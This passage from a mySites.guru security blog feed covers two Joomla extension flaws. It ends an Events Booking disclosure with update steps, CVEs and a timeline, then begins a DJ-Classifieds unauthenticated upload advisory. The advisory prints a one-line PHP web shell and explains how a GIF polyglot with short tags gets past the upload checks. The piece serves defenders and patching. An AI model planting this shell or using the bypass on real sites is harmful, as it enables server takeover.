&lt;li&gt;&lt;strong&gt;Update through Joomla’s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull 5.8.1. If it does not appear, use Find Updates, or download the package from your JoomDonation account and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade every affected site from a single dashboard&lt;/a&gt;. You can also &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so the next fix like this reaches your sites without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;On Joomla 3, go and get 4.9.5.&lt;/strong&gt; It is not in the downloads area. Configure your Download ID and Joomla’s own updater should offer it in place; if you get a 403, check whether your security extension is blocking the update URL, and fall back to a support ticket.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then Events Booking, and check the version shown is &lt;strong&gt;5.8.1 or later&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check your upload folder.&lt;/strong&gt; Look in &lt;code&gt;media/com_eventbooking/files&lt;/code&gt; for anything that does not belong to a real registration. If your site has been running an affected version on a public registration form, this is where anonymous uploads went. 5.8.1 ships an orphan file cleanup tool for exactly this.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla’s cache and any CDN or page cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any harvesting or uploading that already happened, so if you run a large registrant list, see the data protection point above.&lt;/p&gt;
&lt;h2&gt;How do I find every Events Booking site I manage?&lt;/h2&gt;
&lt;p&gt;The awkward question after any extension security release is which of your sites actually run the thing. Up to about ten sites you can log into each Joomla admin and read the installed extensions list. Past that you need a single view, which is why those version numbers get so old: the work of checking scales with the number of sites, so it stops happening.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Events Booking once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query we ran to produce the version table above, and you can run it against your own sites in about ten seconds.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;View every Events Booking install across your sites&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Search for Events Booking across every connected Joomla site and filter for anything below 5.8.1. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Once you know which sites need it, the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; handles the rollout. When a fix ships we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of Events Booking is flagged automatically. You should not have to read about a Joomla security issue in the news and then audit a portfolio of client sites by hand to find out whether it is your problem.&lt;/p&gt;
&lt;h2&gt;Booking and registration extensions deserve a closer look&lt;/h2&gt;
&lt;p&gt;Every extension that accepts input from anonymous visitors is attack surface, but registration and booking components bring a heavier consequence than most, and it is worth being explicit about why.&lt;/p&gt;
&lt;p&gt;A page builder flaw leaks your site. A booking component flaw leaks your customers. The whole purpose of the extension is to collect personal details from the public and store them, which means the data at risk was never yours in the first place, it was entrusted to you. The same logic applies to the newsletter tools, form builders and document managers where we keep finding this pattern: &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;AcyMailing&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;EDocman&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/dpcalendar-sql-injection-disclosure/&quot;&gt;DPCalendar&lt;/a&gt;. They are all built to talk to strangers, so a missing check in one of them talks to strangers too.&lt;/p&gt;
&lt;p&gt;None of which is an argument for avoiding these extensions. Events Booking is a capable, long-established component, both issues are now closed, and much of the code we reviewed was in better shape than most of what we audit. The payment verification in particular is done properly, which we cannot say about every Joomla extension that takes money. We were harder on the handling above than on the code, and that distinction is intended: the bugs themselves are ordinary, the sort any busy codebase grows. What is not ordinary is spending several days telling a reporter that an anonymous write path into your customers’ web servers is not a security issue.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another one, because Joomla runs on thousands of third-party extensions and the ones that accept anonymous input keep producing bugs like this. The hard part was never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before someone else does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen. When something like this is disclosed you see exactly which sites are exposed in seconds, without opening a single admin panel.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;&lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every Joomla 4, 5 and 6 site running Events Booking to &lt;strong&gt;5.8.1&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;On &lt;strong&gt;Joomla 3&lt;/strong&gt;, get &lt;strong&gt;4.9.5&lt;/strong&gt;: set a Download ID and use Joomla’s updater, or open a JoomDonation support ticket. It is not in the public downloads area&lt;/li&gt;
&lt;li&gt;Do not stop at 5.8.0. The upload hardening is in 5.8.1, and 5.8.0 shipped as two different builds under the same version number&lt;/li&gt;
&lt;li&gt;Check &lt;code&gt;media/com_eventbooking/files&lt;/code&gt; for files with no matching registration, and clear them out&lt;/li&gt;
&lt;li&gt;If you are on a 4.x build, plan and test the major version upgrade rather than clicking update on production and hoping&lt;/li&gt;
&lt;li&gt;Do not rely on a firewall for this one. There is no payload to filter, so there is nothing for it to block&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;If you run a large registrant list and were on an affected version for a long time, treat the names and email addresses as potentially harvested and talk to whoever owns data protection where you work&lt;/li&gt;
&lt;li&gt;If you suspect something worse, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure and Severity&lt;/h2&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.9&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;Our own assessment of the user enumeration; three CVEs assigned by the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Both flaws are unauthenticated and exploitable over the internet in a single request with no user interaction. The enumeration is limited to reading names and email addresses, and the upload is constrained by the attachment allow-list on a default configuration, which is what keeps both out of the high range.&lt;/p&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;On by default&lt;/span&gt;&lt;span&gt;Anonymous file write&lt;/span&gt;&lt;span&gt;No firewall mitigation&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;













































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;CVEs&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-58149/&quot;&gt;CVE-2026-58149&lt;/a&gt; (user enumeration), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60024/&quot;&gt;CVE-2026-60024&lt;/a&gt; (default unauthenticated upload), &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-60025/&quot;&gt;CVE-2026-60025&lt;/a&gt; (missing CSRF token on upload), all assigned via the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;Events Booking for Joomla (&lt;code&gt;com_eventbooking&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomDonation / Ossolution (&lt;a href=&quot;https://joomdonation.com/&quot;&gt;joomdonation.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated file upload (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434&lt;/a&gt;), missing CSRF protection (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352&lt;/a&gt;), and authorisation bypass through a user-controlled key (&lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;6.9 (Medium) for the enumeration, &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment). No public score yet for the upload CVEs&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Anonymous file writes to the web server, and anonymous read of the name and email address of every user on the site&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;5.7.1 and earlier, and the Joomla 3 line below 4.9.5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;5.8.0 (both flaws), 5.8.1 (substantial upload hardening), 4.9.5 (Joomla 3, by support ticket)&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;We follow a fix-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;#timeline&quot;&gt;full timeline is at the foot of this post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-13&lt;/strong&gt; We give JoomDonation a heads-up while disclosing a different flaw While reporting the unrelated EDocman SQL injection to the same vendor, we mention that Events Booking appears to have two security issues of its own, pending a closer look. JoomDonation re-reviews the source in response.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-14&lt;/strong&gt; A fix appears in the download package with no changelog entry The enumeration flaw is patched in the shipped package with no announcement. Customers query the undocumented change, and a fellow Joomla developer emails us having spotted a new build appear that day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; We disclose both issues in full, copying the Strike Team We audit the Events Booking 5.7.1 source, confirm both issues and report them privately with all public detail withheld. JoomDonation confirms the enumeration flaw and disputes the upload as invalid. The Joomla Security Strike Team backs the CSRF finding in writing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; 10:02 Events Booking 5.8.0 is published The announcement credits mySites.guru, states the first issue &quot;was fixed before he reported&quot;, and calls the second &quot;not really a security issue&quot;. JoomDonation asks us to delay publication by two days. We agree and publish nothing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; 11:02 the announcement is edited three minutes after we challenge it Both statements are removed, with no correction note.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-15&lt;/strong&gt; 16:10 the 5.8.0 package is rebuilt and re-published under the same version number The changelog thread advises anyone who updated before this time to download and install again. A customer replies on the same thread that the release &quot;does not appear to fix the issues&quot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-17&lt;/strong&gt; Three CVEs are assigned and the vendor confirms the default to the Strike Team JoomDonation confirms the upload was enabled by default before 5.8.0 and that several additional protections have been implemented. The Joomla CNA assigns CVE-2026-58149, CVE-2026-60024 and CVE-2026-60025, all crediting Phil Taylor of mySites.guru.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; 5.8.1 ships, and we publish JoomDonation emails customers calling the upload issue &quot;a security improvement rather than a vulnerability&quot;, with no CVE numbers in the mail. We diff the 5.8.0 and 5.8.1 packages, confirm the fixes and the hardening, flag every connected site below the fix, and publish this write-up with no proof of concept.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-07-20&lt;/strong&gt; We privately report a third, separate flaw in 5.8.1 An insecure direct object reference in the invoice download, held back pending a fix. It became CVE-2026-63047, fixed in 5.8.2 the following day.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;These Events Booking flaws were part of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern that produced both of these findings.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/edocman-sql-injection-disclosure/&quot;&gt;Our EDocman SQL injection disclosure&lt;/a&gt; - the same vendor, a different bug class, and a changelog that badly understated it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/patch-abandoned-joomshaper-joomla-3-extensions/&quot;&gt;When a vendor abandons Joomla 3&lt;/a&gt; - for contrast, what happens when the Joomla 3 fix is never written at all.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt;, &lt;a href=&quot;https://cwe.mitre.org/data/definitions/352.html&quot;&gt;CWE-352: Cross-Site Request Forgery&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/639.html&quot;&gt;CWE-639: Authorization Bypass Through User-Controlled Key&lt;/a&gt; - the official references for these weakness classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.iso.org/standard/72311.html&quot;&gt;ISO/IEC 29147&lt;/a&gt; and &lt;a href=&quot;https://www.iso.org/standard/69725.html&quot;&gt;ISO/IEC 30111&lt;/a&gt;, the &lt;a href=&quot;https://vuls.cert.org/confluence/display/CVD&quot;&gt;CERT Guide to Coordinated Vulnerability Disclosure&lt;/a&gt;, &lt;a href=&quot;https://www.first.org/global/sigs/vulnerability-coordination/multiparty/&quot;&gt;FIRST&apos;s multi-party coordination guidance&lt;/a&gt; and the &lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Vulnerability_Disclosure_Cheat_Sheet.html&quot;&gt;OWASP Vulnerability Disclosure Cheat Sheet&lt;/a&gt; - the standards and practitioner guides behind the disclosure process described above.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://joomdonation.com/joomla-extensions/events-booking-joomla-events-registration.html&quot;&gt;Events Booking product page&lt;/a&gt; - where 5.8.1 is available to download.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>joomla 3</category><category>events booking</category><category>vulnerability</category><category>responsible disclosure</category><category>gdpr</category><enclosure url="https://mysites.guru/img/og/blog/events-booking-unauthenticated-upload-user-enumeration.png" length="0" type="image/png"/></item><item><title>DJ-Classifieds Unauthenticated File Upload</title><link>https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/</link><guid isPermaLink="true">https://mysites.guru/blog/dj-classifieds-unauthenticated-file-upload/</guid><description>DJ-Classifieds below 3.11.2 let anyone upload files to your Joomla site with no login, and it was being used in the wild. Update to 3.11.2 now.</description><pubDate>Mon, 20 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Most of the Joomla extension flaws we write up start with a code audit. This one started with a line in a customer’s server log. A site we look after showed an anonymous request hitting DJ-Classifieds’ image upload endpoint and dropping a randomly named &lt;code&gt;.gif&lt;/code&gt; file, with no login behind it. That is the fingerprint of an automated scanner probing an upload it can reach without an account.&lt;/p&gt;
&lt;p&gt;DJ-Classifieds is a popular classifieds and ads component for Joomla by &lt;a href=&quot;https://dj-extensions.com/dj-classifieds&quot;&gt;DJ-Extensions&lt;/a&gt;. We pulled the code apart, reproduced the upload on a controlled test install, and confirmed an unauthenticated arbitrary file upload: the front-end task &lt;code&gt;index.php?option=com_djclassifieds&amp;amp;task=imageupload&lt;/code&gt; accepts a file with no login and no CSRF token. We reported it privately to DJ-Extensions, and they shipped &lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;DJ-Classifieds 3.11.2&lt;/a&gt; as a dedicated security release three days later, on 20 July 2026.&lt;/p&gt;
&lt;p&gt;If any of your Joomla sites run DJ-Classifieds, update them to 3.11.2 now, then read on for what the flaw did, why the version’s existing “no executable files” defence did not hold, and how to check whether you were already hit.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update to DJ-Classifieds 3.11.2&lt;/p&gt;
  &lt;p&gt;3.11.2 is the fix. It puts authentication and a session token on the imageupload endpoint and restricts uploads to real image types on the server side. Update every DJ-Classifieds site you run. If you cannot update immediately, block requests to the imageupload task at a firewall as a stopgap.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated arbitrary file upload&lt;/strong&gt; in DJ-Classifieds, a Joomla classifieds component. The front-end task &lt;code&gt;option=com_djclassifieds&amp;amp;task=imageupload&lt;/code&gt; writes a file with &lt;strong&gt;no login and no CSRF token&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;We found it from a &lt;strong&gt;customer’s server logs&lt;/strong&gt;, not a lab: an anonymous request was dropping a randomly named &lt;code&gt;.gif&lt;/code&gt; through this exact endpoint&lt;/li&gt;
&lt;li&gt;The component’s controls stop a bare &lt;code&gt;.php&lt;/code&gt;, but the malicious-content scan only matches &lt;strong&gt;three literal strings&lt;/strong&gt;, so PHP hidden in a valid image with short tags is stored intact&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Not a clean remote code execution on a default server&lt;/strong&gt; (the image is served inert), but a reliable web-shell-in-image plant, and &lt;strong&gt;RCE on hosts that run a whitelisted extension&lt;/strong&gt; or via a local file include. The Joomla CNA scored the record at the maximum, &lt;strong&gt;CVSS 4.0 10.0&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;every version up to and including 3.11.1&lt;/strong&gt; (confirmed live on 3.10.1, by code on 3.11.1, present back to at least 3.9.2). &lt;strong&gt;Fixed in 3.11.2&lt;/strong&gt;, released &lt;strong&gt;20 July 2026&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Now tracked as &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-61424/&quot;&gt;CVE-2026-61424&lt;/a&gt;&lt;/strong&gt;. It is &lt;strong&gt;not&lt;/strong&gt; &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2025-54474/&quot;&gt;CVE-2025-54474&lt;/a&gt;, which is a separate authenticated SQL injection in the same version range&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 3.11.2 on every affected site, then check for compromise.&lt;/strong&gt; DJ-Extensions shipped the fix quickly and published a proper security release for it&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How We Found It, and Why That Matters&lt;/h2&gt;
&lt;p&gt;The trigger was a single log entry on a site we manage. Stripped down, it was an anonymous request to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;option=com_djclassifieds task=imageupload name=&amp;lt;random&amp;gt;.gif filename=&amp;lt;random&amp;gt;.gif&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No cookie, no session, no referring page from an editing screen. Just a bare hit on an upload task, writing a randomly named GIF. That signature, a scanner probing an upload it can reach without logging in, is worth investigating on its own, and it led straight to the component’s upload handler.&lt;/p&gt;
&lt;p&gt;This is the part that does not show up in a changelog. DJ-Extensions’ own &lt;a href=&quot;https://dj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release&quot;&gt;3.11.2 release notes&lt;/a&gt; describe the risk as files being stored “temporarily” and say that “executing arbitrary code was heavily restricted.” That is a fair description of the default-server case, but it undersells what we actually saw: the endpoint was being hit in the wild by an anonymous client before any fix existed. When a flaw is reachable with no login, you do not get to assume no one has found it. Somebody had.&lt;/p&gt;
&lt;h2&gt;How Do I Find Every DJ-Classifieds Site I Manage?&lt;/h2&gt;
&lt;p&gt;When a flaw drops in a component that could be on any number of your client sites, the first question is always the same: which of my sites run it, and on what version? Logging into forty Joomla admin panels to read the DJ-Classifieds version on each is not a plan when a scanner is already working through upload endpoints.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension inventory&lt;/a&gt; shows every site running DJ-Classifieds, with the version on each, in seconds. Filter for anything below 3.11.2 and you have your work list.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Find every DJ-Classifieds install across your sites&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;Open your Extension Inventory&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Search for DJ-Classifieds across every connected Joomla site and filter for anything below 3.11.2 to find the installs that need updating. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 3.11.2 across every affected site in one batch instead of an afternoon of admin logins. That is the difference between patching before the scanner comes back and finding out the hard way.&lt;/p&gt;
&lt;h2&gt;What the DJ-Classifieds Upload Flaw Actually Does&lt;/h2&gt;
&lt;p&gt;The vulnerable code is the &lt;code&gt;upload()&lt;/code&gt; method in &lt;code&gt;administrator/components/com_djclassifieds/lib/djupload.php&lt;/code&gt;. The site controller’s &lt;code&gt;imageupload&lt;/code&gt; task calls it directly, with nothing in front of it: no login check, and no Joomla anti-CSRF token. The filename comes from the request (&lt;code&gt;name&lt;/code&gt; / &lt;code&gt;filename&lt;/code&gt;), and the file body is read straight from &lt;code&gt;php://input&lt;/code&gt;. The file is written into the component’s configured upload directory, which defaults to &lt;code&gt;tmp/djupload&lt;/code&gt; under your web root and is served over HTTP like any other file.&lt;/p&gt;
&lt;p&gt;To be fair to the component, several guards do hold, which is why this is not a one-line &lt;code&gt;.php&lt;/code&gt; drop:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;An extension allow-list.&lt;/strong&gt; Uploads are limited to a fixed list (&lt;code&gt;jpg&lt;/code&gt;, &lt;code&gt;jpeg&lt;/code&gt;, &lt;code&gt;png&lt;/code&gt;, &lt;code&gt;bmp&lt;/code&gt;, &lt;code&gt;gif&lt;/code&gt;, &lt;code&gt;pdf&lt;/code&gt;, &lt;code&gt;tif&lt;/code&gt;, &lt;code&gt;tiff&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;, &lt;code&gt;csv&lt;/code&gt;, &lt;code&gt;doc&lt;/code&gt; and similar, through to &lt;code&gt;zip&lt;/code&gt;). &lt;code&gt;php&lt;/code&gt; is not on it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A direct block on executable extensions.&lt;/strong&gt; A &lt;code&gt;preg_match(&apos;/\.(php|shtml|pht|asp)/i&apos;, $filePath)&lt;/code&gt; rejects &lt;code&gt;.php&lt;/code&gt;, the classic double extension &lt;code&gt;.php.gif&lt;/code&gt;, and &lt;code&gt;.phtml&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Filename sanitisation.&lt;/strong&gt; &lt;code&gt;preg_replace(&apos;/[^\w\._]+/&apos;, &apos;_&apos;, $name)&lt;/code&gt; strips path separators, so there is no directory traversal out of the upload folder.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The guard that fails is the malicious-content scan. It reads the uploaded bytes and rejects the file only if it contains one of three literal strings: &lt;code&gt;&amp;lt;?php&lt;/code&gt;, &lt;code&gt;eval(&lt;/code&gt;, or &lt;code&gt;base64&lt;/code&gt;. That list looks reasonable and is trivially incomplete. PHP does not need the string &lt;code&gt;&amp;lt;?php&lt;/code&gt; to run. A short tag opens a PHP block just as well:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;?=&lt;/span&gt;&lt;span&gt;system&lt;/span&gt;&lt;span&gt;($_GET[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]);&lt;/span&gt;&lt;span&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There is no &lt;code&gt;&amp;lt;?php&lt;/code&gt;, no &lt;code&gt;eval(&lt;/code&gt; and no &lt;code&gt;base64&lt;/code&gt; anywhere in that, so the scan passes it. The older &lt;code&gt;&amp;lt;script language=&quot;php&quot;&amp;gt;&lt;/code&gt; form clears it too. Now layer that onto the image requirement. Files with an image extension are validated with &lt;code&gt;getimagesize()&lt;/code&gt;, and &lt;code&gt;getimagesize()&lt;/code&gt; is satisfied by a valid header, not a clean file. A GIF that starts with the real &lt;code&gt;GIF89a&lt;/code&gt; header and holds the PHP after it is a valid image &lt;em&gt;and&lt;/em&gt; a PHP file at the same time. The allow-list is happy, the extension block is happy, &lt;code&gt;getimagesize()&lt;/code&gt; is happy, and the three-string scan is happy, so the polyglot is stored on your server byte for byte.&lt;/p&gt;
&lt;p&gt;On our controlled test of 3.10.1, that is exactly what happened. A baseline GIF uploaded anonymously and read back over HTTP with a 200. A bare &lt;code&gt;.php&lt;/code&gt;, a &lt;code&gt;.php.gif&lt;/code&gt; and a &lt;code&gt;.phtml&lt;/code&gt; were all rejected with “Wrong file format”. A polyglot GIF with &lt;code&gt;&amp;lt;?=system($_GET[&apos;c&apos;]);?&amp;gt;&lt;/code&gt; was accepted and stored intact, served back as &lt;code&gt;image/gif&lt;/code&gt;. There is also a smaller timing issue worth noting: the handler &lt;code&gt;rename()&lt;/code&gt;s the uploaded temp file into place &lt;em&gt;before&lt;/em&gt; it runs the extension and content checks and its cleanup &lt;code&gt;@unlink&lt;/code&gt;, so there is a brief window where the raw file exists on disk under a predictable path.&lt;/p&gt;
&lt;h2&gt;Is This Remote Code Execution?&lt;/h2&gt;
&lt;p&gt;Not on a normal server, and it matters to say so. The whole point of the checks above is that a stored polyglot GIF is served as an image and never executed as PHP. On a default Apache, FrankenPHP or nginx stack, requesting that GIF gives you back an image, not a shell. If a post tells you every unauthenticated upload is an automatic maximum-severity RCE, it is not being straight with you.&lt;/p&gt;
&lt;p&gt;What you actually get without any login is still serious:&lt;/p&gt;
&lt;ul&gt;
